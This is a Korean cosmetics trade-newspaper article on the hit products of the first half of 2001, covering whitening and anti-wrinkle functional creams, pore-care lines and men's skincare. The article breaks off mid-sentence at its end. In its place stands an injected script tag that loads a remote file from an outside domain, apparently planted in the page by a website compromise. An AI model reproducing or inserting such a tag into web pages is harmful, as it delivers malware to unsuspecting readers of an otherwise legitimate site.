2001 상반기 히트상품 - 제니파크 -주간코스메틱신문

기능성·모공관리·보습 등 ‘기초제품’이 히트행진의 주역 새로운 컨셉의 시스템 이용 증가…단계적인 개별 제품 사용해 효능 극대화 기능성이라고 공인 받은 제품 탄생과 함께 희망차게 시작했던 2001년 상반기도 어느덧 지나가고, 올 상반기를 웃으면서 마무리지으며 히트’라 이름 붙인 제품들이 쏟아져 나오기 시작했다. 국내 주요 업체들에게 효자노릇을 톡톡히 한 제품들은 대부분 ‘기초’에서 탄생했다. 이는 상반기를 시작하며 각 업체들이 ‘히트예감 브랜드’로 대부분 기초제품을 꼽았던 것과 크게 다르지 않은 점이다. 상반기 히트 제품 중 색조 제품은 태평양의 ‘라네즈 클린&컬업 마스카라’와 나드리화장품의 ‘멜 커버링 파우더’, 상반기 동안 모델이 인기를 끌어 모으며 동시에 히트행렬에 들어섰던 도도화장품의 ‘빨간통 패니아’정도. 수많은 히트상품 중 색조제품은 극소수만을 차지한다는 것은 아직까지 국내 시장에서 매출에서 차지하는 비중 면에서나 소비자인지도 면에서 색조가 기초를 따라가기에는 역부족이라는 것을 여실히 보여주는 대목이다. 반면, 히트상품의 70%이상을 차지하는 기초제품은 그 시장성만큼이나 제품에 있어서도 기능별로 다양화를 이루고 있어 주목할 만 하다. 특히, 기능성제품이 처음으로 탄생한 해인 만큼 그 첫 시장에서 과연 어떤 제품이 히트를 기록하며 기능성 시장의 선구자 역할을 해 갈 것인가에 관심이 모아졌었는데, 그 선두는 역시 발빠르게 기능성 승인을 받은 태평양과 LG생활건강이 차지했다. 기능성 첫 세대가 탄생하며 가장 주목을 받을 것이라 예상됐던 제품은 ‘안티에이징’제품. 하지만 올 상반기에 히트를 기록한 기능성제품 중 안티에이징 제품은 한 가지에 불과해 이채롭다. 첫 번째 주름개선 화장품으로 인정을 받은 LG생활건강의 이자녹스 링클 디클라인’이 그 주인공으로 이는 가장 높은 인지도를 자랑하며 기능성 제품 중 최고의 히트상품으로 등극했다. 이자녹스 링클 디클라인은 주름개선 성분으로 각광받아온 레티놀 보다 안정성에 있어 우수한 메디민 A라는 신성분을 사용해 효과를 높인 주름개선 전문 에센스이다. 이밖에 기능성 제품으로 상반기에 인기를 모은 제품은 모두 미백 제품. 태평양의 경우는 피부 흡수력과 지속성을 증진시켜 개발한 ‘화이트젠’성분을 이용한 고기능성 미백 화장품인 ‘아이오페 화이트젠 인텐시브’와 3단계에 걸친 화이트닝 과정으로 피부를 맑고 투명하게 가꿔주는 ‘라네즈 화이트 이펙트 에센스’가 인기 있었던 기능성 제품이다. 씨제이엔프라니의 올 상반기 히트상품인‘씨제이엔프라니 화이트제닉 멜라닌 락 세럼’역시 루시놀 성분을 이용해 멜라닌 생성을 근원적으로 차단해주는 미백 제품이다. 기능성 화장품이라 이름 붙일 수 있는 제품이 첫 탄생한 해인 만큼 이들을 제외한 여타 기능성제품들은 아직까지 커다란 반응은 보이지 않고 있는 것으로 분석된다. 기능성 제품을 제외하고 올 상반기에 히트를 기록한 기초제품은 이제 어떤 제품에나 필수 옵션으로 따라붙는 보습제품과, 지난해부터 크게 인기를 모으기 시작한 모공관리 제품이 주를 이룬다. 코리아나 화장품의 ‘초록색 엔시아 포어타이트닝 케어’는 오렌지색 엔시아에 이어 올 초 발매 당시부터 히트상품으로 예견됐던 상품. 피지와 모공을 관리해주는 모공케어 전문 브랜드로 포맷된 이 제품은 예상대로 상반기에 젊은 층들로부터 높은 호응을 받았다. 나드리화장품의 ‘멜 모공케어’역시 모공관리 전문 제품으로 모공관리 제품의 인기는 올 하반기까지 쭉 이어질 것으로 전망된다. 한편, 예년과 달리 남성화장품 역시 구색 맞추기 상품에서 벗어나 당당한 히트상품으로 한 자리를 차지했는데 파란색 컬러 마케팅을 전개한 나드리화장품의 ‘딘클라우’는 남성전문 브랜드로 여성들에게까지 상당한 관심을 불러일으켰다. 또, 아로화인화장품의 ‘아로화인 포맨’과 에이치팜의 ‘한화 포맨 클래식 스킨케어 세트’도 마찬가지로 남성피부의 과다 피지 분비 및 모공을 관리해주는 남성 브랜드. 이 밖에도, 클렌징, 바디제품 등 다양한 품목들이 올 상반기 시판시장에서 소비자들에게 제품력을 인정받으며 히트상품의 반열에 올라섰다. 본격적인 21세기가 시작되는 2001년, 그것도 첫 번째 심판을 받는 상반기 시장에서 ‘히트제품’이라는 이름을 달 수 있는 큰 선물을 받은 브랜드와 제품들을 살펴보면 한 가지 공통적인 점을 발견할 수 있다. 지난해부터 부각되기 시작한 과학적 컨셉의 제품들이 역시나 소비자들에게 사랑을 받았음을 알 수 있게 해 주는 대목으로, 이번 히트상품으로 선정된 제품들 중에는 유난히 ‘단계적 시스템’을 통해 제품의 기능을 극대화시킨 제품들이 많이 ?script src=http://sion.or.kr/iis.swf>

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